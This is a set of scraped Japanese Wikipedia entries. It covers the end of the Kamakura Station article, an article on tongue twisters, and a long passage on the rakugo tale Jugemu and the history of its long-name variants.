|<ref group="JR">[https://www.jreast.co.jp/passenger/2012.html 各駅の乗車人員(2012年度)] - JR東日本</ref>42,038
|10,715
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/707631.pdf 平成25年]}}</ref>
|-
|2013年(平成25年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2013.html 各駅の乗車人員(2013年度)] - JR東日本</ref>42,841
|10,977
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20150926_003_17.pdf 平成26年]}}</ref>
|-
|2014年(平成26年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2014_01.html 各駅の乗車人員(2014年度)] - JR東日本</ref>43,126
|11,562
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20160609_001_15.pdf 平成27年]}}</ref>
|-
|2015年(平成27年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2015_01.html 各駅の乗車人員(2015年度)] - JR東日本</ref>44,376
|11,976
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/877254.pdf 平成28年]}}
</ref>
|-
|2016年(平成28年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2016.html 各駅の乗車人員(2016年度)] - JR東日本</ref>44,843
|12,275
|<ref group="神奈川県統計">{{PDFlink|[https://web.archive.org/web/20180614094521if_/http://www.pref.kanagawa.jp/docs/x6z/tc10/documents/15.pdf 平成29年]}}</ref>
|-
|2017年(平成29年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2017_01.html 各駅の乗車人員(2017年度)] - JR東日本</ref>44,866
|13,377
|<ref group="神奈川県統計">{{PDFlink|[https://web.archive.org/web/20190702120542if_/http://www.pref.kanagawa.jp/docs/x6z/tc10/documents/15.pdf 平成30年]}}</ref>
|-
|2018年(平成30年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2018_01.html 各駅の乗車人員(2018年度)] - JR東日本</ref>44,838
|13,592
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/46041/15.pdf 令和元年]}}</ref>
|-
|2019年(令和元年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2019_01.html 各駅の乗車人員(2019年度)] - JR東日本</ref>43,183
|
|
|-
|2020年(令和{{0}}2年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2020_01.html 各駅の乗車人員(2020年度)] - JR東日本</ref>28,591
|
|
|-
|2021年(令和{{0}}3年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2021_01.html 各駅の乗車人員(2021年度)] - JR東日本</ref>32,324
|
|
|-
|2022年(令和{{0}}4年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2022_01.html 各駅の乗車人員(2022年度)] - JR東日本</ref>38,232
|
|
|}
== 駅周辺 ==
=== 東口 ===
[[File:Kamakura Komachi Street.jpg|thumb|小町通り(鶴岡八幡宮裏参道)入口]]
住民は「表口」と呼んでいる。駅前の[[広場]]は[[ロータリー交差点|ロータリー]]になっており、[[バスターミナル]]がある。広場の北側から[[鶴岡八幡宮]]の裏参道(小町通り)が始まる。入口に大[[鳥居]]がある。観光ルートとして人通りが多く、車両通行規制時間帯が設けられている。広場から[[神奈川県道303号鎌倉停車場線]]がおよそ50メートル直進する。鎌倉停車場線は、終点の鎌倉駅入口交差点で[[神奈川県道21号横浜鎌倉線]]と交差する。横浜鎌倉線は鶴岡八幡宮の表参道([[若宮大路]])になっている。駅から左方向は[[段葛]]で1キロメートル (km) 弱で鶴岡八幡宮へ、右方向はおよそ1kmで[[国道134号]]へそれぞれ至る。
「[[東急ストア|鎌倉とうきゅう]]」と飲食店が入居する雑居ビル「グルメプラザ109」がある。 [[1959年]]から[[1973年]]まで[[西武百貨店]]が駅前に出店していたが、第一勧業(みずほ)銀行を経て、建物を[[2008年]]に地場和食店「御代川」が購入して営業している。
駅舎の右側、北鎌倉寄りに西口方面への地下通路があり、鎌倉市の展示コーナーが設けられている。地下通路の壁画は、地元[[漫画家]]の[[横山隆一]]による「[[鎌倉カーニバル]]」<ref>{{Cite web|和書|date=2014 |url=http://at-art.jp/japan/kanagawa/kamakura/横山隆一-鎌倉カーニバル/ |title=横山隆一 / 鎌倉カーニバル |publisher=ART |accessdate=2019-12-24}}</ref>である。
{{columns-list|2|
* [[ホテルメトロポリタン]] 鎌倉 - 2020年4月24日に開業<ref>{{Cite press release|和書|url=https://www.nihonhotel.com/sys/docs/DQVR/190829release_kamakura.pdf|title=テーマは「心魅かれる新たな古都へ」、神奈川県初のメトロポリタンブランドが誕生 ホテルメトロポリタン 鎌倉 2020年4月24日(金)開業 ~2019年10月1日(火)予約開始~|format=PDF|publisher=日本ホテル、ホテルメトロポリタン 鎌倉|date=2019-08-29|accessdate=2020-04-07|archiveurl=https://web.archive.org/web/20200406155524/https://www.nihonhotel.com/sys/docs/DQVR/190829release_kamakura.pdf|archivedate=2020-04-07}}</ref>。
* [[三菱UFJ銀行]]鎌倉支店・逗子支店
* [[SMBC日興証券]]鎌倉支店
* [[鎌倉郵便局]]
* [[不二家]] - 不二家レストランも併設する。
* [[豊島屋 (製菓業)|豊島屋]] - [[鳩サブレー]]で知られる。ベーカリー「扉」も併設する。
|}}
=== 西口 ===
[[File:鎌倉駅旧駅舎時計台.jpg|thumb|西口広場にある鎌倉駅旧駅舎の時計塔。現在の駅舎に改築される際に市民の要望によって保存された(2004年11月9日)。]]
住民は「裏口」および「裏駅」と呼んでいる。西口は大正期の二代目駅舎改築時に開設。現代の西口駅舎はJR、江ノ電ともに二代目(それぞれ1930年、1981年に落成)。駅前広場は三角形になっており、地元では「三角公園」と呼ばれる。ここには二代目駅舎の時計塔が保存してある。この公園の脇から前述の東口への地下道がある。駅前には[[日本のタクシー|タクシー]]用のロータリーがある。バス路線に関しては、鎌倉駅着のものはあるが鎌倉駅発はなく、市役所前から発車する。
{{columns-list|2|
* [[鎌倉市役所]]
* [[みずほ銀行]] 鎌倉支店
* [[鎌倉市中央図書館]]
* [[鎌倉市立御成小学校]] - 旧[[鎌倉御用邸]]。校門は御用邸当時のままである。
* [[鎌倉税務署]]
* [[銭洗弁財天宇賀福神社]]
|}}
== バス路線 ==
=== 東口 ===
駅前に'''鎌倉駅'''バスターミナルが整備されている他、若宮大路上に[[パークアンドライド]]用バス「[[江ノ電バス湘南営業所#パークアンドライド|フクちゃん号]]」専用の'''鎌倉駅入口'''バス停が設置されている。
<!--[[プロジェクト:鉄道#バス路線の記述法]]に基づき、経由地については省略して記載しています。-->
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先
|-
!colspan="3"|鎌倉駅
|-
!1
|style="text-align:center;"|[[江ノ電バス]]
|{{Unbulleted list|[[江ノ電バス湘南営業所#藤沢 - 鎌倉線(鎌倉 - 桔梗山線)|'''F1''']]:[[藤沢駅]]南口|'''K1''':桔梗山|'''K3''':[[江ノ電バス湘南営業所|湘南車庫]]}}
|-
!rowspan="3"|2
|style="text-align:center;"|[[京浜急行バス]]
|[[京浜急行バス鎌倉営業所#空港リムジン|'''空港リムジン''']]:[[東京国際空港|羽田空港]]
|-
|style="text-align:center;"|江ノ電バス
|{{Unbulleted list|[[江ノ電バス横浜営業所#上大岡- 大船 - 鎌倉線|'''A21''']]:[[上大岡駅]]|[[江ノ電バス鎌倉営業所#鎌倉 - 大船線|'''N2''']]:[[大船駅]]|[[江ノ電バス鎌倉営業所#本郷台線|'''K4''']]:[[本郷台駅]]|[[江ノ電バス湘南営業所#七里ヶ浜 - 鎌倉線|'''K5''']]:[[七里ヶ浜]]|[[江ノ電バス#空港連絡バス|'''空港リムジン''']]:羽田空港}}
|-
|style="text-align:center;"|{{Unbulleted list|[[南海バス]]|[[和歌山バス]]}}
|[[南海バス#夜行高速バス|'''夜行高速''']]:南海なんば高速バスターミナル
|-
!rowspan="2"|3
|style="text-align:center;"|京浜急行バス
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#名越線|'''鎌30''']]:[[逗子・葉山駅]]|'''鎌31''':緑ヶ丘入口}}
|-
|style="text-align:center;"|江ノ電バス
|[[江ノ電バス湘南営業所#定期遊覧バス|'''定期遊覧バス''']]
|-
!4
|rowspan="4" style="text-align:center;"|京浜急行バス
|[[京浜急行バス鎌倉営業所#八景線|'''鎌20''']]:[[鎌倉宮|大塔宮]]
|-
!5
|{{Unbulleted list|'''鎌23''':鎌倉霊園正門前[[鎌倉五名水|太刀洗]]|'''鎌24''':[[金沢八景駅]]|'''鎌36''':ハイランド循環}}
|-
!6
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#大船線|'''鎌2''']]:[[梶原 (鎌倉市)|梶原]]|'''鎌4''':[[鎌倉山]]|'''鎌5''':諏訪ヶ谷|'''鎌6''':[[江の島|江ノ島]]|'''船7'''・'''船8'''・'''船9''':大船駅}}
|-
!7
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#小坪線|'''鎌11''']]:海岸橋循環|'''鎌12''':[[九品寺 (鎌倉市)|九品寺]]循環|'''鎌40''':[[逗子駅]]|'''鎌41''':小坪|[[京浜急行バス鎌倉営業所#リビエラ線(契約輸送)|'''直行''']]:[[リビエラ (企業)|リビエラ]][[逗子マリーナ]]プラザ}}
|-
!colspan="3"|鎌倉駅入口
|-
!-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|江ノ電バス}}
|[[京浜急行バス鎌倉営業所#フクちゃん号|パークアンドバスライド「'''フクちゃん号'''」]]:八幡宮駐車場 / [[由比ヶ浜|由比ガ浜]]地下駐車場
|}
=== 西口 ===
前述のように、西口発着路線は鎌倉駅西口着、鎌倉市役所発という形態をとっている。これは、バス開通時に、鎌倉市・江ノ電・タクシー会社の意思疎通が上手く働かず、三者とも話が決裂したためである。
<!--[[プロジェクト:鉄道#バス路線の記述法]]に基づき、経由地については省略して記載しています。-->
{| class="wikitable" style="font-size:80%;"
!運行事業者!!系統・行先
|-
!colspan="2"|鎌倉市役所
|-
|style="text-align:center;"|江ノ電バス
|[[江ノ電バス湘南営業所#鎌倉駅 - 桔梗山線(八雲神社前経由)|'''K6''']]:桔梗山 / 鎌倉駅西口
|-
|style="text-align:center;"|京浜急行バス
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#大船駅桔梗山線|'''鎌50''']]:山の上ロータリー|[[京浜急行バス鎌倉営業所#鎌倉駅西口線|'''鎌51''']]:鎌倉中央公園 / 鎌倉駅西口}}
|}
== 隣の駅 ==
; 東日本旅客鉄道(JR東日本)
: [[File:JR JO line symbol.svg|15px|JO]] 横須賀線
:: [[北鎌倉駅]] (JO 08) - '''鎌倉駅 (JO 07)''' - [[逗子駅]] (JO 06)
:* 特急「[[鎌倉 (列車)|鎌倉]]」停車駅(当駅始発)
: [[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
:: [[北鎌倉駅]] (JS 08) - '''鎌倉駅 (JS 07)''' - [[逗子駅]] (JS 06)
; 江ノ島電鉄(江ノ電)
: [[File:Number prefix Enoden.svg|15px|EN]] 江ノ島電鉄線
:: [[和田塚駅]] (EN14) - '''鎌倉駅 (EN15)'''
== 脚注 ==
{{脚注ヘルプ}}
=== 記事本文 ===
==== 注釈 ====
{{Reflist|group="注釈"}}
==== 出典 ====
<!-- 文献参照ページ -->
{{Reflist}}
=== 利用状況 ===
; JR・私鉄の1日平均利用客数
{{Reflist|group="利用客数"}}
; JR東日本の2000年度以降の乗車人員
{{Reflist|group="JR"|23em}}
; JR・私鉄の地下鉄の統計データ
{{Reflist|group="乗降データ"}}
; 神奈川県県勢要覧
{{Reflist|group="神奈川県統計"|16em}}<!--
== 参考文献 == -->
<!-- 実際に参考にした文献一覧 -->
== 関連項目 ==
<!-- 関連するウィキリンク、ウィキ間リンク -->
{{Commonscat|Kamakura Station}}
* [[日本の鉄道駅一覧]]
* [[鎌倉]]
* [[鎌倉ものがたり]] - 駅にこの作品の広告が設置されている。
*[[鎌倉 (列車)]]
== 外部リンク ==
* {{外部リンク/JR東日本駅|filename=476|name=鎌倉}}
* [https://www.enoden.co.jp/train/station/kamakura/ 鎌倉駅]:江ノ島電鉄
* [https://www.cial.co.jp/kamakura/ CIAL鎌倉]
{{総武快速線・横須賀線}}
{{湘南新宿ライン (宇都宮線・横須賀線)}}
{{江ノ島電鉄線}}
{{関東の駅百選}}
{{デフォルトソート:かまくら}}
[[Category:鎌倉市の鉄道駅]]
[[Category:日本の鉄道駅 か|まくら]]
[[Category:東日本旅客鉄道の鉄道駅]]
[[Category:日本国有鉄道の鉄道駅]]
[[Category:江ノ島電鉄の鉄道駅]]
[[Category:横須賀・総武快速線]]
[[Category:1889年開業の鉄道駅]] | 2003-04-15T22:35:24Z | 2023-12-04T00:02:44Z | false | false | false | [
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"Template:江ノ島電鉄線"
]
| https://ja.wikipedia.org/wiki/%E9%8E%8C%E5%80%89%E9%A7%85 |
6,786 | 早口言葉 | 早口言葉()は、言いにくい言葉を通常より早く喋り、うまく言うことができるかを競う言葉遊び。また、それに用いる語句や文章。その多くは音節が舌を動かしづらい順序に並んでいて、文章の意味が脳で捉えにくいものになっている。
アナウンサーや俳優など、人前で話す職業に従事する人が滑舌を鍛える発声トレーニングに用いることもある。
日本語以外にも、英語の "She sells sea shells by the seashore."(彼女は海岸で貝殻を売っている)など、早口言葉は多数あり、世界中の各言語にこのような言葉遊びの習慣がある。
代表的に知られているものを例として挙げる。
英語では通常「タング・トゥイスター (tongue-twister)」と呼ばれていて、多くが伝えられている。 以下の3つはマザー・グースより引用。 | [
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"text": "英語では通常「タング・トゥイスター (tongue-twister)」と呼ばれていて、多くが伝えられている。 以下の3つはマザー・グースより引用。",
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| 早口言葉は、言いにくい言葉を通常より早く喋り、うまく言うことができるかを競う言葉遊び。また、それに用いる語句や文章。その多くは音節が舌を動かしづらい順序に並んでいて、文章の意味が脳で捉えにくいものになっている。 アナウンサーや俳優など、人前で話す職業に従事する人が滑舌を鍛える発声トレーニングに用いることもある。 日本語以外にも、英語の "She sells sea shells by the seashore."(彼女は海岸で貝殻を売っている)など、早口言葉は多数あり、世界中の各言語にこのような言葉遊びの習慣がある。 | {{読み仮名|'''早口言葉'''|はやくちことば}}は、言いにくい[[言葉]]を通常より早く喋り、うまく言うことができるかを競う[[言葉遊び]]。また、それに用いる語句や文章。その多くは[[音節]]が舌を動かしづらい順序に並んでいて、文章の意味が脳で捉えにくいものになっている<ref>[[解体新ショー]] 2007年6月30日放送分</ref>。
[[アナウンサー]]や[[俳優]]など、人前で話す[[職業]]に従事する人が滑舌を鍛える[[発声法|発声トレーニング]]に用いることもある。
[[日本語]]以外にも、[[英語]]の "She sells sea shells by the seashore."(彼女は[[海岸]]で[[貝殻]]を売っている)など、早口言葉は多数あり、世界中の各言語にこのような言葉遊びの習慣がある。
== 日本語の早口言葉 ==
<!--必ず出典を付けて下さい!-->
代表的に知られているものを例として挙げる。
*生[[麦]]生[[米]]生[[卵]]<ref>[[広辞苑]] 第六版 「早口言葉」</ref>
: なまむぎなまごめなまたまご
*東京特許許可局<ref>[[読売新聞]]東京版 1997年5月12日28頁</ref>(実在しない架空の機関。[[特許]]は許可を受けるのではなく、[[特許庁]]により認定されるもの<ref>[https://www.jpo.go.jp/shoukai/saiyou/pdf/shohyo_shinsakan2/pamphlet.pdf 特許庁商標審査官採用案内5頁]2016年3月21日閲覧</ref><ref group="注">「東京特許許可局」が特許を認定する、という設定のテレビドラマが存在する。[[東京特許許可局 (テレビドラマ)]]を参照。</ref>)
: とうきょうとっきょきょかきょく
*[[蛙]]ピョコピョコ三ピョコピョコ、合わせてピョコピョコ六ピョコピョコ<ref>[[Gooランキング]]「おなじみの早口言葉ランキング」[http://ranking.goo.ne.jp/ranking/999/tonguetwister/]</ref>
: かえるぴょこぴょこみぴょこぴょこあわせてぴょこぴょこむぴょこぴょこ
*新進[[シャンソン]][[歌手]]総出演新春シャンソンショー(「新進歌手新春シャンソンショー」、「新春シャンソンショー」とも)<ref>同名で「古今東西の早口言葉 ~早口コレクション55編~」というオーディオブックのタイトル([[パンローリング]][[2012年]])</ref>
: しんしんしゃんそんかしゅそうしゅつえんしんしゅんしゃんそんしょー
* 隣の客はよく柿食う客だ<ref name="seiyu">声優になりたい委員会「【プロの声優が伝授!】滑舌を鍛える早口言葉全60種!」[https://xn--n8jtc6ad0nv19pp9cstj8xjljc.net/quick-talk/] 2020年2月9日閲覧</ref>
: となりのきゃくはよくかきくうきゃくだ
* 赤巻紙、青巻紙、黄巻紙<ref name="seiyu"></ref>
: あかまきがみ、あおまきがみ、きまきがみ
* 坊主が屏風に上手に坊主の絵を描いた<ref>レクリエ「【動画】唇の力を養う早口言葉『坊主が屏風に上手に坊主の絵を描いた』」[https://recrea.jp/info/6936/] 2020年2月9日閲覧</ref>
: ぼうずがびょうぶにじょうずにぼうずのえをかいた
<gallery>
Japanese tongue twister (Tokyo Tokkyo Kyokakyoku) 2022-03-03.mp3|東京特許許可局
Japanese tongue twister (Kaeru pyoko pyoko) 2022-03-03.mp3|蛙ピョコピョコ…
Japanese tongue twister (Aka makigami) 2022-03-03.mp3|赤巻紙、青巻紙、黄巻紙
Japanese tongue twister (Bozu ga) 2022-01-27.mp3|坊主が屏風に上手に坊主の絵を描いた
</gallery>
== 英語の早口言葉 ==
英語では通常「タング・トゥイスター (tongue-twister)」と呼ばれていて、多くが伝えられている。
以下の3つは[[マザー・グース]]より引用。
* She sells sea shells by the seashore.(彼女は海岸で海の貝殻を売っている。)<br />The shells she sells are surely seashells.(彼女が売っている貝殻は、きっと海の貝殻だ。)<br />So if she sells shells on the seashore,(だから彼女がもし海岸で海の貝殻を売っているのなら、)<br />I'm sure she sells seashore shells.(貝殻はきっと海岸の貝殻だ。)
* Peter Piper picked a peck of pickled peppers.([[ピーター・パイパー|Peter Piper]]は1[[ペック]]の酢漬けの[[唐辛子]]をつまんだ。)<br />A peck of pickled peppers Peter Piper picked.(Peter Piperがつまんだ1ペックの酢漬けの唐辛子。)<br />If Peter Piper picked a peck of pickled peppers,(もしPeter Piperが酢漬けの唐辛子を1ペックつまんだら、)<br />how many pickled peppers did Peter Piper pick?(Peter Piperはいくつ酢漬けの唐辛子をつまんだでしょう?)
* Betty Botter bought some butter.(Betty Botterは[[バター]]を買った。)<br />"But," she said, "the butter's bitter.(彼女は「だけどバターが苦いわ」と言った。)<br />If I put it in my batter,(「もし生地に入れたら、)<br />It will make my batter bitter.(生地が苦くなってしまう。)<br />But a bit of better butter,(だけどもう少しいいバターがあったら)<br />That would make my batter better."(生地が良くなるでしょうね」。)<br />So she bought a bit of butter.(だから彼女は少しバターを買った。)<br />Better than her bitter butter.(彼女の苦いバターよりも良いバターを。)<br />And she put it in her batter.(そして生地にそれを入れた。)<br />And the batter was not bitter.(生地は苦くならなかった。)<br />So It was better Betty Botter(だからいいことにBetty Botterは)<br />Bought a bit of better butter. (もっといいバターを少し買った。)
== 早口言葉を題材にした作品 ==
;日本語
*[[かむかもしかもにどもかも!]]([[MONO NO AWARE]]の楽曲。[[日本放送協会|NHK]]『[[みんなのうた]]』使用曲)<ref>[https://eyescream.jp/music/46134/ MONO NO AWARE、早口言葉をテーマにした新曲「かむかもしかもにどもかも!」がNHKみんなのうたに初登場]、EYESCREAM、2019年8月5日。</ref>
*ドリフの早口ことば([[ザ・ドリフターズ]]の楽曲。『[[8時だョ!全員集合]]』のコーナーなどで使用)
== 脚注 ==
=== 注 ===
{{Reflist|group=注}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
{{Commonscat|Tongue twisters}}
* [[外郎売]] - [[歌舞伎十八番]]の一つ
* [[Strč prst skrz krk]] - [[母音]]が一つもない[[チェコ語]]の[[言葉遊び]]の一つ
* [[大谷健太]] - オリジナルの早口言葉を言うネタが特徴のお笑いタレント
== 外部リンク ==
*[https://www.nhk.or.jp/bunken/summary/kotoba/uraomote/131.html 早口言葉の研究 - NHK放送文化研究所]
*[https://www.hayakuchi-kotoba.com/ 早口言葉一覧]
*[https://www.youtube.com/watch?v=ggB_5I08eoE 「世界70ヶ国の早口言葉」。YouTube より]
{{Normdaten}}
[[Category:言葉遊び|はやくちことは]] | 2003-04-16T00:32:49Z | 2023-09-29T11:24:38Z | false | false | false | [
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"Template:Commonscat",
"Template:Normdaten"
]
| https://ja.wikipedia.org/wiki/%E6%97%A9%E5%8F%A3%E8%A8%80%E8%91%89 |
6,788 | 寿限無 | 『寿限無』(じゅげむ)は、落語の代表的な前座噺。長い名前を言い立てる早口言葉で知られる。上方落語では古くは別題を『長名の伜()』という。『長い名の子』タイプの民話と落語『寿限無』は類話である。
生まれた子供がいつまでも元気で長生きできるようにと考えて、とにかく「長い」ものが良いととんでもない名前を付けた、という笑い話。縁起のいい言葉を幾つか紹介され、どれにするか迷った末に全部付けてしまった、という筋の場合もある。
生まれた子供にめでたい名前を付けようとして、お寺の和尚さん(人物が異なる場合もある)の所へ相談に行った父親は、和尚さんから色々と教えてもらったおめでたい言葉を、全て並べて子供の名前にしてしまう。子供はすくすく育って腕白小僧になる。近所の子供とけんかをし、殴られてこぶを作った子供が父親のところに言いつけに来る。やり取りの中で長い名前が繰り返されるうちに、こぶが引っ込んでしまった、というのがサゲ。
長い名前の言い立ては早口言葉の一種とされることもあり、これを繰り返すことに滑稽さがある。落語家の口慣らしの稽古用として、前座が最初に習う噺のひとつである。
演者によって語句、読み方、意味説明は異なる。
寿限無、寿限無、五劫のすりきれ、海砂利水魚の、水行末・雲来末・風来末、食う寝るところに住むところ、やぶらこうじのぶらこうじ、パイポ・パイポ・パイポのシューリンガン、シューリンガンのグーリンダイ、グーリンダイのポンポコピーのポンポコナの、長久命の長助
話の中での架空の意味説明:
長い名前や縁起のいい名前をモチーフにした話は他にもある。
江戸時代の噺家である初代 米沢彦八が著した噺本『軽口御前男』(元禄16年(1703年)刊行)に、「欲()からしづむ淵()」という小噺がある。あらすじ:
「三百[文]を捨てる」(わずかの出費のこと)とかけた、この名前特有の駄洒落である。この噺は米沢彦八自身による創作と推定されている。
噺の中で名前の由来は説明されていないが、仏教用語「如是我聞()」と「阿耨多羅三藐三菩提()」である。
寛政4年(1792年)に刊行された滑稽物の絵本『鼻下長物語』は芝全交()作で、早口言葉による会話が29ページに渡って繰り広げられる物語仕立ての作品である。関連部分のあらすじ:
嘉兵衛:「さて、昨日の申しかけを申そうと存じて、今日も貴宅へ参上致しました。長く申しては事が分りませぬ。つまんで申しましょう。こうでござる: そこもと様が主人法性寺入道前関白太政大臣様のことを、法性寺入道前関白太政大臣殿と仰せらましたから、そこで以てからに何か法性寺入道前関白太政大臣様が大きにお腹をお立ちなされ、俺が事を法性寺入道前関白太政大臣様という筈を、なぜ俺が事を法性寺入道前関白太政大臣殿と言うたとて、そこでもってからに法性寺入道、」 つうだ:「まずお急きなさるな。しかれば拙者が法性寺入道前関白太政大臣殿の事を、法性寺入道前関白太政大臣殿と申したがお気に障り、法性寺入道めが腹を立って、」 嘉兵衛:「いえさ、そう仰せられては済みませぬ。法性寺入道前関白太政大臣様と言う所を、」 (紛糾。以後毎日議論が続き、つうだは翌年になってやっと状況を理解する)
話中の殿様の名「法性寺入道前関白太政大臣」は、小倉百人一首のうちの一首の詠み人藤原忠通の俗称。実在した人物である。小倉百人一首の中で一番長い名で、官名とはいえ、フィクションの名「あのくたら三びゃく三ぼだい」よりも長い。なお、20世紀中旬以降は通常「ほっしょうじにゅうどうさきのかんぱくだじょうだいじん」と発音する。
『鼻下長物語』は好評で、さまざまな派生作品が登場した。初代林屋正蔵も『御加増』という小咄を1833年に刊行した。全会話が早口言葉で『鼻下長物語』と似たストーリーだが、「法性寺入道前関白太政大臣」の名はない。
落語本『無事志有意』(寛政10年(1798年)刊行)中の一話「雅名」(または「稚名」)は、めでたい名前を次々に要求するという笑話である。あらすじ:
「三浦の大助百六つ」「浦島太郎が八千歳」「東方朔が九千歳」「西の海へさらり」は、いずれも年末の厄払い祈祷の決まり文句。ここでの「非人」とは、厄払いをして回る(門付)物乞い芸人のことである。厄払いの最後に唱える「西の海へさらり」とは「災いは西の海へ捨て去れ」という意味で、長寿とは無関係である。
文化2年(1805年)刊行の怪談・奇談本『聞書雨夜友』(編集: 講釈師・作家である東随舎)の中に「一子に異名を付けて後悔せし話()」がある。あらすじ:
敵々仁 敵須留御坊 蒼臨坊 惣高入道 播磨之別当 茶碗茶臼之 挽木之 飛与小助
儒学者の提案した名は、四書五経について朱熹が書いた注釈書『四書集注』の一章『大学章句』の、表題「大学 朱熹章句」と導入部「子程子曰大学孔子之遺書而初学入徳之門也」。「なかきよの とおのねふりの みなめさめ なみのりふねの おとのよきかな」は、回文になっている和歌。本書に「てきてきに...」の由来や意味の説明はない。
野口復堂(1864年頃生)という講演家が1927年に回想録の中で、書生時代に京都の寄席で落語家「梅香」の長名噺を聞いた、と述べている。
復堂自身も後年1888年にインドへ出張した際に余興として、聞き覚えたこの長名噺を英語で披露した。つまりこの落語は1888年以前から存在したことになる。なお、この回想録はずっと後の1927年に出されたものである。
陀羅尼()とは呪文のことで、梵語と意味不明な音が混じったものである。「陀羅尼品」は法華経の二十六番目の章の題名で、陀羅尼をいくつか含む。陀羅尼の語句や発音は著書によりばらつきがあるが、一例としては「あにまにまねままね、しれいしゃりてい[...]」。
1966年刊の『上方落語の歴史 改訂増補版』(著者 前田勇)は『長名の伜』・『長名』という演題を、狭義には「あにまにままに しゅりしゃびて[...]」の噺、広義には『寿限無』も含める、という二つの意味で使っている。「アダブダブダブと溺れる」という落ちは言及されていない。
桂米朝 (3代目)によれば、『上方落語の歴史』に掲載された長い名前は米朝が提供したとのこと。また、同書は誤植が多いとして自著に訂正版を掲載した。そこでの子の名前は
あにまにままに しゅりしゃびて たいへんれ もくれもくたび あいしゃび しょみしゃび しゃみだらに あるきゃはしゃばしゃ びしゃねびて あななねびて あたんだ あれしゅれ ふくれふくれ はられはられ そがさあさまさ ぶったい びりき ちゅうて だるまはれしゅて しょきゃ ねぐしゃ ねばしゃ ばしゃ しゅうたい 万太郎
前田勇(1908年生)および桂米朝(1925年生)は「あにまにままに...」が陀羅尼品であることを当初は知らなかった。いっぽう三代目三遊亭金馬(1894年生)は、大阪の噺は名の出典が『陀羅尼品』という設定で、子が「だだぶ だぶだぶ」と死ぬ落ちがあることは知っていたが、子の名前は「寿限無寿限無」と書いている。
『長名』という演題の古い出現例は1917年の桂萬光公演の新聞記事だが、話の内容は不記載。
二代目立花家花橘が1910-1920年代に出したレコードは題名が『長名』だが、子の名は「寿限無寿限無...」、落ちは「瘤がひっこんでしまいよった」である。
『寿限無』が「あにまにままに[...]」の噺と違う点は、『寿限無』では名前の個々の言葉の意味を丁寧に説明する場面が設けられていることである。「あにまにままに[...]」の上演は20世紀後半に廃れた。
『寿限無』の噺は1884年以前に成立しており、さらに昔の19世紀中旬まで遡れる可能性がある。
1884年に雑誌『東京経済雑誌』の記事でフルネーム「ジゲムジゲム」が引用されている。記事自体は、経済学者田口卯吉による学術論説である。
1901年に再び東京経済雑誌にフルネームと意味が掲載された。筆者伴直之助は、『寿限無』の作者は風来山人すなわち平賀源内だと推測しているが具体的な証拠は挙げていない。
1912年の新聞に、当時89歳だった林家正童(五代目林家正蔵、1824年生)の伝記が掲載された。正童が18歳で二代目林家正蔵(通称「托善正蔵」、一説に1858年没)に入門して芸名「正橋」だった時代に、「寿限無寿限無()」を稽古したという。この逸話が本当なら、『寿限無』は19世紀中旬には存在していたことになる。
興行の古い記録としては、1901年の新聞の興行予定欄に「落語寿限無()...」という演目が見える。
全文の古い記録としては、1910年代の録音および本が数点ある。
蝶花楼馬楽 (3代目)(1914年没)は『寿限無』のSPレコードを2種類出しているが、落ちが別々である。1911年頃発売のアメリカ・ビクター版は、落ちが「あんまり名前が長いもんだから瘤が治っちまったよ」で終わる。他方、1912年以前に発売されたアメリカン(日米蓄音器商会)版は、「瘤が治っちまった」の後に寿限無が井戸へ落ちるエピソードが続く。
馬楽は噺の中で、名前の出典は『神仏穴探し』という本だと説明していたという(レコードにはそのような文言はない)。三代目三遊亭金馬(1894年生)も、先輩落語家が『寿限無』で『神仏穴探し』という本を取り出したと記している。「穴探し」とは粗探しのことである。この本の実在を疑う者もあるが、少なくとも同題名の講釈は存在した形跡がある。ひとつは1824年頃の、講釈師 為永正助(為永春水の別名)と初代林屋正藏の連名による『神仏俗書穴さがし』の広告である。もうひとつは、1850年代の石川齋萬丸という噺家の滑稽談議『神仏穴さがし』が人気を博したという記録である。
書面での『寿限無』の全文記録としては、1912年発行の三遊亭福圓遊の口演筆記『滑稽百面相』、1916年の五代目麗々亭柳橋の口演筆記などがある。
『寿限無』は「めでたい話」である。また内容が無難なので正月のめでたい席や子供向けにも適した。たとえば1906年に保育所への正月慰問の演題に選ばれた。のちにラジオ放送でもめでたい演目として演じられた。
古い類話の子たち、「あのくたら...」や「てきてきに...」は溺れてしまう。対照的に『寿限無』では溺れる場面はない。1914年時点でも「瘤が引っ込んでしまった」という落ちが主流だった。しかし1914年刊『落語の落』によれば、子が井戸に転落するバージョンもあった。子が救出されて、父親が「寿限無寿限無...」と呼びかけると医者が諫めて「コレコレまだお経には早うござる」、という落ちだったという。
いっぽう三代目三遊亭金馬は1959年の著書に、大阪では「寿限無寿限無」が「だだぶ だぶだぶ」と溺れ死ぬという落ちだと記している。「先日亡くなった三語楼」もこの落ちで演じていたという。。こちらの落ちは、「あにまにまにままね...」の野口復堂による描写と一致する。
寿限無が溺れるバージョンの全文記録としては、三代目蝶花楼馬楽の2種の録音のうちの一つがある。ただ、これは「長助さんが井戸へ落こった。大変だなどうもそいつは。」だけで、結末も落ちもなく終わってしまう。
